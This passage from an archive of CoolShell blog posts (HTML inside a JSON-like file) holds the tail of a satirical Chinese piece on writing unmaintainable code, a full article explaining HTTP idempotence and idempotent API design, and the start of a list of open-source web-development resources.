i[myArray]。再看一个函数调用的示例，函数声明：int myfunc(int q, int p) { return p%q; } 函数调用myfunc(6291, 8)[Array];</li>\n<li><strong>长代码行</strong>。一行的代码越长越好。这样别人阅读时就需要来来回回的</li>\n<li><strong>不要较早的return</strong>。不要使用goto，不要使用break，这样，你就需要至少5层以上的if-else来处理错误。</li>\n<li><strong>不要使用{}</strong>。不要在if else使用{}，尤其是在你重量地使用if-else嵌套时，你甚至可以在其中乱缩进代码，这样一来，就算是最有经验的程序员也会踩上陷阱。</li>\n<li><strong>使用宏定义</strong>。宏定义绝对是混乱C/C++代码的最佳利器。参看 <a href=\"https://coolshell.cn/articles/2420.html\" target=\"_blank\" title=\"老手是这样教新手编程的\">老手是这样教新手编程的</a>。</li>\n<li><strong>琐碎的封装</strong>。比较封装一个bool类，类里面什么都做，就是一个bool.</li>\n<li><strong>循环</strong>。千万不可用for(int i=0; i&lt;n; i++)使用while代替for，交换n和i，把&lt;改成&lt;=，使用 i–调整步伐 。</li>\n</ul>\n<h4>测试</h4>\n<ul>\n<li><strong>从不测试</strong>。千万不要测试任何的出错处理，从来也不检测系统调用的返回值。</li>\n<li><strong>永远不做性能测试</strong>。如果不够快就告诉用户换一个更快的机器。如果你一做测试，那么就可能会要改你的算法，甚至重设计，重新架构。</li>\n<li><strong>不要写测试案例</strong>。不要做什么代码覆盖率测试，自动化测试。</li>\n<li><strong>测试是懦夫行为</strong>。一个勇敢的程序员是根本不需要这一步的。太多的程序太害怕他们的老板，害怕失去工作，害怕用户抱怨，甚至被起诉。这种担心害怕直接影响了生产力。如果你对你的代码有强大的信心，那还要什么测试呢？真正的程序员是不需要测试自己的代码的。</li>\n</ul>\n<h4>其它</h4>\n<ul>\n<li><strong>你的老板什么都知道</strong>。无论你的老板有多SB，你都要严格地遵照他的旨意办事，这样一来，你会学到更多的知识如何写出无法维护的代码来的。</li>\n<li><strong>颠覆Help Desk</strong>。你要确保你那满是bug的程序永远不要被维护团队知道。当用户打电话和写邮件给你的时候，你就不要理会，就算要理会，让用户重做系统或是告诉用户其帐号有问题，是标准的回答。</li>\n<li><strong>闭嘴</strong>。对于一些像y2k这样的大bug，你要学会守口如瓶，不要告诉任何人，包括你的亲人好友以及公司的同事和管理层，这样当到那一天的时候，你就可以用这个bug挣钱了。</li>\n<li><strong>忽悠</strong>。你会学会忽悠，就算你的代码写得很烂，你也要为其挂上GoF设计模式的标签，就算你的项目做得再烂，你也要为其挂上敏捷的标签，只有学会<a href=\"https://coolshell.cn/articles/3745.html\" target=\"_blank\" title=\"再谈敏捷和ThoughtWorks中国咨询师\">像中国Thoughtworks的咨询师那样去忽悠</a>，你才能学会更炫更酷的方法，让整个团队和公司，甚至整个业界都开始躁动，这样才能真正为难维护的代码铺平道路。</li>\n</ul>\n<p>这个文档中还有很多很多，实在是太TMD强大了，大家自己去看看吧。有精力有能力的朋友不妨把其翻译成中文。</p>\n<p>总之，我们的口号是——</p>\n<h4 style=\"text-align: center;\">Write Everywhere, Read Nowhere</h4>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-7 HTTP幂等性概念和应用.html",
    "content": "<html><body><p><strong>[ 感谢 <a href=\"http://www.cnblogs.com/weidagang2046/\" target=\"_blank\">Todd 同学</a>投递本文 ]</strong></p>\n<p>基于HTTP协议的Web API是时下最为流行的一种分布式服务提供方式。无论是在大型互联网应用还是企业级架构中，我们都见到了越来越多的SOA或RESTful的Web API。为什么Web API如此流行呢？我认为很大程度上应归功于简单有效的HTTP协议。HTTP协议是一种分布式的面向资源的网络应用层协议，无论是服务器端提供Web服务，还是客户端消费Web服务都非常简单。再加上浏览器、Javascript、AJAX、JSON以及HTML5等技术和工具的发展，互联网应用架构设计表现出了从传统的PHP、JSP、ASP.NET等服务器端动态网页向Web API + RIA（富互联网应用）过渡的趋势。Web API专注于提供业务服务，RIA专注于用户界面和交互设计，从此两个领域的分工更加明晰。在这种趋势下，Web API设计将成为服务器端程序员的必修课。然而，正如简单的Java语言并不意味着高质量的Java程序，简单的HTTP协议也不意味着高质量的Web API。要想设计出高质量的Web API，还需要深入理解分布式系统及HTTP协议的特性。</p>\n<p><strong> </strong></p>\n<p><strong> </strong></p>\n<p><strong>幂等性定义</strong></p>\n<p>本文所要探讨的正是HTTP协议涉及到的一种重要性质：幂等性(Idempotence)。在HTTP/1.1规范中幂等性的定义是：</p>\n<blockquote><p><em><span style=\"color: #800040;\">Methods can also have the property of “idempotence” in that (aside from error or expiration issues) the side-effects of N &gt; 0 identical requests is the same as for a single request.</span></em></p></blockquote>\n<p>从定义上看，HTTP方法的幂等性是指一次和多次请求某一个资源应该具有同样的副作用。幂等性属于语义范畴，正如编译器只能帮助检查语法错误一样，HTTP规范也没有办法通过消息格式等语法手段来定义它，这可能是它不太受到重视的原因之一。但实际上，幂等性是分布式系统设计中十分重要的概念，而HTTP的分布式本质也决定了它在HTTP中具有重要地位。</p>\n<p><span id=\"more-4787\"></span></p>\n<p><strong> </strong></p>\n<p><strong>分布式事务 vs 幂等设计</strong></p>\n<p>为什么需要幂等性呢？我们先从一个例子说起，假设有一个从账户取钱的远程API（可以是HTTP的，也可以不是），我们暂时用类函数的方式记为</p>\n<p><code class=\"EnlighterJSRAW\">bool withdraw(account_id, amount); </code></p>\n<p>withdraw的语义是从account_id对应的账户中扣除amount数额的钱；如果扣除成功则返回true，账户余额减少amount；如果扣除失败则返回false，账户余额不变。值得注意的是：和本地环境相比，我们不能轻易假设分布式环境的可靠性。一种典型的情况是withdraw请求已经被服务器端正确处理，但服务器端的返回结果由于网络等原因被掉丢了，导致客户端无法得知处理结果。如果是在网页上，一些不恰当的设计可能会使用户认为上一次操作失败了，然后刷新页面，这就导致了withdraw被调用两次，账户也被多扣了一次钱。如图1所示：</p>\n<p style=\"text-align: center;\"><a href=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051027575.png\"><img alt=\"image\" border=\"0\" height=\"394\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051039636.png\" width=\"458\"/></a></p>\n<p style=\"text-align: center;\"><a href=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051027575.png\"></a>图1</p>\n<p>这个问题的解决方案一是采用分布式事务，通过引入支持分布式事务的中间件来保证withdraw功能的事务性。分布式事务的优点是对于调用者很简单，复杂性都交给了中间件来管理。缺点则是一方面架构太重量级，容易被绑在特定的中间件上，不利于异构系统的集成；另一方面分布式事务虽然能保证事务的ACID性质，而但却无法提供性能和可用性的保证。</p>\n<p>另一种更轻量级的解决方案是幂等设计。上面的withdraw显然不满足幂等性，但我们可以一些技巧将它变成幂等的，比如：</p>\n<pre class=\"EnlighterJSRAW\">int create_ticket();\n\nbool idempotent_withdraw(ticket_id, account_id, amount);</pre>\n<p>create_ticket的语义是获取一个服务器端生成的唯一的处理号ticket_id，它将用于标识后续的操作。idempotent_withdraw和withdraw的区别在于关联了一个ticket_id，一个ticket_id表示的操作至多只会被处理一次，每次调用都将返回第一次调用时的处理结果。这样，idempotent_withdraw就符合幂等性了，客户端就可以放心地多次调用。</p>\n<p>基于幂等性的解决方案中一个完整的取钱流程被分解成了两个步骤：1.调用create_ticket()获取ticket_id；2.调用idempotent_withdraw(ticket_id, account_id, amount)。虽然create_ticket不是幂等的，但在这种设计下，它对系统状态的影响可以忽略，加上idempotent_withdraw是幂等的，所以任何一步由于网络等原因失败或超时，客户端都可以重试，直到获得结果。如图2所示：</p>\n<p><a href=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051059820.png\"><img alt=\"image\" border=\"0\" class=\"aligncenter\" height=\"578\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051069339.png\" width=\"610\"/></a></p>\n<p style=\"text-align: center;\">图2</p>\n<p><strong> </strong></p>\n<p>和分布式事务相比，幂等设计的优势在于它的轻量级，容易适应异构环境，以及性能和可用性方面。在某些性能要求比较高的应用，幂等设计往往是唯一的选择。</p>\n<p><strong> </strong></p>\n<p><strong>HTTP的幂等性</strong></p>\n<p>HTTP协议本身是一种面向资源的应用层协议，但对HTTP协议的使用实际上存在着两种不同的方式：一种是RESTful的，它把HTTP当成应用层协议，比较忠实地遵守了HTTP协议的各种规定；另一种是SOA的，它并没有完全把HTTP当成应用层协议，而是把HTTP协议作为了传输层协议，然后在HTTP之上建立了自己的应用层协议。本文所讨论的HTTP幂等性主要针对RESTful风格的，不过正如上一节所看到的那样，幂等性并不属于特点的协议，它是分布式系统的一种特性；所以，不论是SOA还是RESTful的Web API设计都应该考虑幂等性。下面将介绍HTTP GET、DELETE、PUT、POST四种主要方法的语义和幂等性。</p>\n<p>HTTP GET方法用于获取资源，不应有副作用，所以是幂等的。比如：GET http://www.bank.com/account/123456，不会改变资源的状态，不论调用一次还是N次都没有副作用。请注意，这里强调的是一次和N次具有相同的副作用，而不是每次GET的结果相同。GET http://www.news.com/latest-news这个HTTP请求可能会每次得到不同的结果，但它本身并没有产生任何副作用，因而是满足幂等性的。</p>\n<p>HTTP DELETE方法用于删除资源，有副作用，但它应该满足幂等性。比如：DELETE http://www.forum.com/article/4231，调用一次和N次对系统产生的副作用是相同的，即删掉id为4231的帖子；因此，调用者可以多次调用或刷新页面而不必担心引入错误。</p>\n<p>比较容易混淆的是HTTP POST和PUT。POST和PUT的区别容易被简单地误认为“POST表示创建资源，PUT表示更新资源”；而实际上，二者均可用于创建资源，更为本质的差别是在幂等性方面。在HTTP规范中对POST和PUT是这样定义的：</p>\n<blockquote><p><span style=\"color: #800040;\"><em>The POST method is used to request that the origin server accept the entity enclosed in the request as a new subordinate of the resource identified by the Request-URI in the Request-Line. …… </em><em>If a resource has been created on the origin server, the response SHOULD be 201 (Created) and contain an entity which describes the status of the request and refers to the new resource, and a Location header.</em></span></p>\n<p><em><span style=\"color: #800040;\">The PUT method requests that the enclosed entity be stored under the supplied Request-URI. If the Request-URI refers to an already existing resource, the enclosed entity SHOULD be considered as a modified version of the one residing on the origin server. If the Request-URI does not point to an existing resource, and that URI is capable of being defined as a new resource by the requesting user agent, the origin server can create the resource with that URI.</span></em></p></blockquote>\n<p>POST所对应的URI并非创建的资源本身，而是资源的接收者。比如：POST http://www.forum.com/articles的语义是在http://www.forum.com/articles下创建一篇帖子，HTTP响应中应包含帖子的创建状态以及帖子的URI。两次相同的POST请求会在服务器端创建两份资源，它们具有不同的URI；所以，POST方法不具备幂等性。</p>\n<p>而PUT所对应的URI是要创建或更新的资源本身。比如：PUT http://www.forum/articles/4231的语义是创建或更新ID为4231的帖子。对同一URI进行多次PUT的副作用和一次PUT是相同的；因此，PUT方法具有幂等性。</p>\n<p>在介绍了几种操作的语义和幂等性之后，我们来看看如何通过Web API的形式实现前面所提到的取款功能。很简单，用POST /tickets来实现create_ticket；用PUT /accounts/account_id/ticket_id&amp;amount=xxx来实现idempotent_withdraw。值得注意的是严格来讲amount参数不应该作为URI的一部分，真正的URI应该是/accounts/account_id/ticket_id，而amount应该放在请求的body中。这种模式可以应用于很多场合，比如：论坛网站中防止意外的重复发帖。</p>\n<p><strong> </strong></p>\n<p><strong>总结</strong></p>\n<p>上面简单介绍了幂等性的概念，用幂等设计取代分布式事务的方法，以及HTTP主要方法的语义和幂等性特征。其实，如果要追根溯源，幂等性是数学中的一个概念，表达的是N次变换与1次变换的结果相同，有兴趣的读者可以从<a href=\"http://en.wikipedia.org/wiki/Idempotence\">Wikipedia</a>上进一步了解。</p>\n<p><strong> </strong></p>\n<p><strong>参考</strong></p>\n<p><a href=\"http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html\">RFC 2616, Hypertext Transfer Protocol — HTTP/1.1, Method Definitions</a></p>\n<p><a href=\"http://devhawk.net/2007/11/09/the-importance-of-idempotence/\">The Importance of Idempotence</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19840.html\"><img alt=\"HTTP的前世今生\" height=\"150\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8767.html\"><img alt=\"Web工程师的工具箱\" height=\"150\" src=\"../wp-content/uploads/2012/12/webtoolbox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8767.html\">Web工程师的工具箱</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2367.html\"><img alt=\"谷歌Chrome取消”http://”\" height=\"150\" src=\"../wp-content/uploads/2010/04/URL-BAR-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2367.html\">谷歌Chrome取消”http://”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1480.html\"><img alt=\"非常简单的Python HTTP服务\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1480.html\">非常简单的Python HTTP服务</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4787.html\">HTTP幂等性概念和应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-6-8 开源中最好的Web开发的资源.html",
    "content": "<html><body><p>文章来源：<a href=\"http://www.b2bweb.fr/molokoloco/best-must-know-ressources-for-building-the-new-web-%E2%98%85/\" target=\"_blank\" title=\"Best “must know” open sources to build the new Web\">Best “must know” open sources to build the new Web</a>。个人感觉这个收集贴收集成相当的全。</p>\n<h4>学习HTML 5编程和设计</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/wallOfWonder.png\" title=\"wallOfWonder\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://www.html5rocks.com/\" target=\"_blank\"><strong>HTML5 Rocks</strong></a> : Major Feature Groups  的学习 HTML5 的资源 (HTML5 演示, 教程 ). <a href=\"http://code.google.com/p/html5rocks/\" target=\"_blank\">源码</a></li>\n<li>很不错的 <a href=\"https://mozillademos.org/demos/dashboard/demo.html\" target=\"_blank\"><strong>HTML5 Dashboard</strong></a> – Mozilla，效果很炫。</li>\n<li><a href=\"http://developers.whatwg.org/\" target=\"_blank\"><strong>WhatWG Developers</strong></a>, 一个清楚的 HTML5 技术规格说明书。</li>\n<li>★ <a href=\"http://stackoverflow.com/\" target=\"_blank\"><strong>StackOverflow</strong></a> : 大名鼎鼎的技术问答式论坛。</li>\n<li>★ <a href=\"http://addyosmani.com/blog/\" target=\"_blank\"><strong>Addyosmani</strong></a>, jQuery 和 JavaScript 文章教程</li>\n<li><a href=\"http://www.sohtanaka.com/web-design-tutorials/\" target=\"_blank\"><strong>Sohtanaka</strong></a>, jQuery 和 JavaScript 文章和教程</li>\n<li>★ <a href=\"http://net.tutsplus.com/category/tutorials/\" target=\"_blank\"><strong>Nettuts+</strong></a> 是一个面对Web开发人员和设计人员的网站，提供各种技术教程和文章，覆盖 HTML, CSS, Javascript, CMS’s, PHP 和 Ruby on Rails.</li>\n<li><a href=\"http://tympanus.net/codrops/\" target=\"_blank\"><strong>Codrops</strong></a>, 教程和 web 资源</li>\n<li><a href=\"http://www.webappers.com/\" target=\"_blank\"><strong>WebAppers</strong></a>, 最好的开源资源</li>\n<li><a href=\"http://tutorialzine.com/\" target=\"_blank\"><strong>Tutorialzine</strong></a> – PHP MySQL jQuery CSS 教程, 资源和赠品</li>\n<li><strong><a href=\"https://developer.mozilla.org/en/JavaScript/Guide\" target=\"_blank\">Mozilla JavaScript guide</a></strong></li>\n<li> <a href=\"http://code.google.com/p/molokoloco-coding-project/\" target=\"_blank\"><strong>codes snippets</strong></a>, 作者自己收集的一些代码片段</li>\n</ul>\n<p><span id=\"more-4795\"></span></p>\n<h4>服务器端的软件</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/nodeJs.png\" title=\"nodeJs\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://nodejs.org/\" target=\"_blank\"><strong>Node.js</strong></a> 是服务器端的 JavaScript 环境，其使用了异步事件驱动模式。其让Node.js在很多互联网应用体系结构下获得非常不错的性能。 <a href=\"https://github.com/joyent/node/\" target=\"_blank\">源码</a> 和 <a href=\"http://jsapp.us/\" target=\"_blank\">实时演示</a>。</li>\n<li><a href=\"http://www.phantomjs.org/\" target=\"_blank\"><strong>PhantomJS</strong></a> 也是一个服务器端的 JavaScript API的WebKit。其支持各种Web标准： DOM 处理, CSS 选择器, JSON, Canvas, 和 SVG</li>\n<li><strong><a href=\"http://www.lighttpd.net/\" target=\"_blank\">Lighttpd</a></strong> 一个轻量级的开源Web服务器。新闻，文档，benchmarks, bugs, 和 download. Lighttpd 支撑了几个非常著名的 Web 2.0 网站，如：YouTube, wikipedia 和 meebo.</li>\n<li><strong><a href=\"http://nginx.net/\" target=\"_blank\">NGinx</a></strong>, 性能巨高无比的轻量级的Web服务器。比Apache高多了。花了6年的时间，终于走到了1.0版。</li>\n<li><strong><a href=\"http://httpd.apache.org/\" target=\"_blank\">Apache HTTP Server</a></strong> 是一个很流行的并支持多个流行的操作系统的Web服务器。</li>\n<li>★ <strong><a href=\"http://nodejs.org/\" target=\"_blank\"></a><a href=\"http://www.php.net/\" target=\"_blank\">PHP</a></strong> 可能是最流行的服务器端的Web脚本动态处理语言。</li>\n<li>当然，还有 <strong><a href=\"http://www.ruby-lang.org/fr/\" target=\"_blank\">Ruby</a></strong>, <strong><a href=\"http://www.python.org/\" target=\"_blank\">Python</a></strong>, <strong><a href=\"http://www.erlang.org/\" target=\"_blank\">Erlang</a></strong>, <strong><a href=\"http://www.perl.org/\" target=\"_blank\">Perl</a></strong>, <strong><a href=\"http://www.java.com/fr/\" target=\"_blank\">Java</a></strong>, <strong><a href=\"http://www.microsoft.com/net/\" target=\"_blank\">.NET</a></strong>, <strong><a href=\"http://www.android.com/\" target=\"_blank\">Android</a></strong>, <strong><a href=\"http://cpp.developpez.com/\" target=\"_blank\">C++</a></strong>, <strong><a href=\"http://golang.org/\" target=\"_blank\">Go</a></strong>,<a href=\"https://github.com/pmcelhaney/Mustache.cfc\"></a><strong><a href=\"http://fantom.org/\" target=\"_blank\"> Fantom</a></strong>,<strong><a href=\"http://jashkenas.github.com/coffee-script/\" target=\"_blank\">CoffeeScript</a></strong>, <strong><a href=\"http://www.digitalmars.com/\" target=\"_blank\">D</a></strong>, …</li>\n</ul>\n<h4>PHP 框架和工具</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/drupal.png\" title=\"drupal\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://wordpress.org/download/\" target=\"_blank\"><strong>WordPress</strong></a> 是一个基于博客系统的开源软件。参看《<a href=\"https://coolshell.cn/articles/3716.html\" target=\"_blank\" title=\"WordPress是怎么赢的？\">WordPress是怎么赢的？</a>》</li>\n<li><strong><a href=\"http://drupal.org/\" target=\"_blank\">Drupal</a></strong> 是一个内容管理系统 (CMS).</li>\n<li><a href=\"http://www.centurion-project.org/\" target=\"_blank\"><strong>Centurion</strong></a> 是一个新出现的开源 CMS ，一个灵然的 PHP5 Content Management Framework. 使用 Zend Framework, 其组件坚持通用，简单，清楚和可重用的设计原则。</li>\n<li><strong><a href=\"http://www.phpbb.com/\" target=\"_blank\">phpBB</a></strong> 一个开源的论坛（国内的Discuz！更多）</li>\n<li><strong>★ <a href=\"http://simplepie.org/\" target=\"_blank\">SimplePie</a></strong> : 超快的，易用的,  RSS  和 Atom feed PHP解析。</li>\n<li><strong>★ <a href=\"http://phpthumb.gxdlabs.com/\" target=\"_blank\">PHPthumb</a></strong>, PHP 图片处理库</li>\n<li><strong>★ <a href=\"http://phpmailer.worxware.com/\" target=\"_blank\">PHPMailer</a></strong> 强大的全功能的PHP邮件库</li>\n<li><strong><a href=\"http://code.google.com/p/pubsubhubbub/\" target=\"_blank\">PubSubHubbub</a></strong>协议，一个简单，开放， server-to-server 的 pubsub (publish/subscribe) 协议——Atom and RSS的扩展。</li>\n<li>更多的请参看 – <a href=\"https://coolshell.cn/articles/200.html\" target=\"_blank\" title=\"20 你应该知道的PHP库\">20个你应该知道PHP库</a> 和 <a href=\"https://coolshell.cn/articles/455.html\" target=\"_blank\" title=\"9个强大免费的PHP库\">9个强大免费的PHP库</a></li>\n</ul>\n<h4>数据库</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/sqldesigner.png\" title=\"sqldesigner\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://couchdb.apache.org/\" target=\"_blank\"><strong>Apache CouchDB</strong></a> 是一个面向文档的数据库管理系统。它提供以JSON 作为数据格式的REST 接口来对其进行操作，并可以通过视图来操纵文档的组织和呈现。.<a href=\"https://github.com/apache/couchdb\" target=\"_blank\">源码</a>.</li>\n<li><a href=\"http://code.google.com/p/monoql/\" target=\"_blank\"><strong>MonoQL</strong></a> 是一个采用PHP+ExtJS开发的MySQL数据库管理工具。界面极像一个桌面应用程序，支持大部分常用的功能包括：表格设计，数据浏览/编辑，数据导入/导出和高级查询等。</li>\n<li><strong> </strong><a href=\"http://mariadb.org/\"><strong>MariaDB</strong></a> 是<a href=\"http://www.mysql.com/\" target=\"_blank\" title=\"MySQL\">MySQL</a>的一个分支，由MySQL 创始人Monty Widenius 所开发。GPL，用来对抗Oracle所有的MySQL的license的不测。自Oracle收购SUN以来，整个社区对于MySQL前途的担忧就没有停止过。</li>\n<li>★ <a href=\"http://www.sqlite.org/\" target=\"_blank\"><strong>SQLite</strong></a> 不像常见的客户端/服务器结构范例，SQLite引擎不是个程序与之通信的独立进程，而是连接到程序中成为它的一个主要部分。所以主要的通信协议是在编程语言内的直接API调用。这在消耗总量、延迟时间和整体简单性上有积极的作用。整个数据库（定义、表、索引和数据本身）都在宿主主机上存储在一个单一的文件中。它的简单的设计是通过在开始一个事务的时候锁定整个数据文件而完成的。库实现了多数的SQL-92标准，包括事务，就是代表原子性、一致性、隔离性和持久性的（ACID），触发器和多数的复杂查询。不进行类型检查。你可以把字符串插入到整数列中。某些用户发现这是使数据库更加有用的创新，特别是与无类型的脚本语言一起使用的时候。其他用户认为这是主要的缺点。</li>\n<li><strong><a href=\"http://ondras.zarovi.cz/sql/demo/\" target=\"_blank\">SQL 在线设计编辑器</a></strong>，这一节的那个图片就是这个在线编辑器的样子了。一个画数据库图表的在线工具。很强大。</li>\n</ul>\n<h4>API 和 在线数据</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/yql.png\" title=\"yql\" width=\"600\"/></p>\n<ul>\n<li><a href=\"http://www.programmableweb.com/apis/directory\" target=\"_blank\"><strong>ProgrammableWeb</strong></a>, 最流行的Web Services 和 API 目录大全。</li>\n<li><strong><a href=\"http://code.google.com/intl/fr/apis/gdata/docs/directory.html\" target=\"_blank\">Google Data Protocol</a></strong> 一组Google服务的数据服务API。</li>\n<li><a href=\"http://developer.yahoo.com/everything.html\" target=\"_blank\"><strong>Yahoo! Developer Network</strong></a> – APIs 和 Tools</li>\n<li><a href=\"http://pipes.yahoo.com/\" target=\"_blank\"><strong>Yahoo! Pipes</strong></a> 可视化在线编程工具，它是一个用于过滤、转换和聚合网页内容的服务。</li>\n<li>★ The <a href=\"http://developer.yahoo.com/yql/console/\" target=\"_blank\"><strong>Yahoo! Query Language</strong></a> 一个很像 SQL的网页查询工具。</li>\n</ul>\n<h4>在线代码和媒体编辑器</h4>\n<p><img alt=\"\" class=\"aligncenter\" height=\"238\" src=\"../wp-content/uploads/jsfiddle.png\" title=\"jsfiddle\" width=\"600\"/></p>\n<ul>\n<li>★ <a href=\"http://www.coderun.com/\" target=\"_blank\"><strong>CodeRun Studio</strong></a>一个基于JavaScript语言开发的跨平台的集成开发环境，它立足于云计算的设计思路，方便开发者在浏览器端便可以轻松开发、调试和部署网络应用程序。（参看《<a href=\"https://coolshell.cn/articles/1883.html\" rel=\"bookmark\" target=\"_blank\">Coderun.com 在线开发IDE</a>》）</li>\n<li><a href=\"https://github.com/ajaxorg/cloud9\" target=\"_blank\"><strong>Cloud9 IDE</strong></a> – 一个基于Node.JS构建的JavaScript程序开发Web IDE。它拥有一个非常快的文本编辑器支持为JS, HTML, CSS和这几种的混合代码进行着色显示。</li>\n<li>★ <a href=\"http://jsfiddle.net/\" target=\"_blank\"><strong>jsFiddle</strong></a> – Javascript的在线运行展示框架，这个工具可以有效的帮助web前端开发人员来有效分享和演示前端效果，其简单而强大 (JavaScript, MooTools, jQuery, Prototype, YUI, Glow and Dojo, HTML, CSS)</li>\n<li><strong><a href=\"http://www.akshell.com/\" 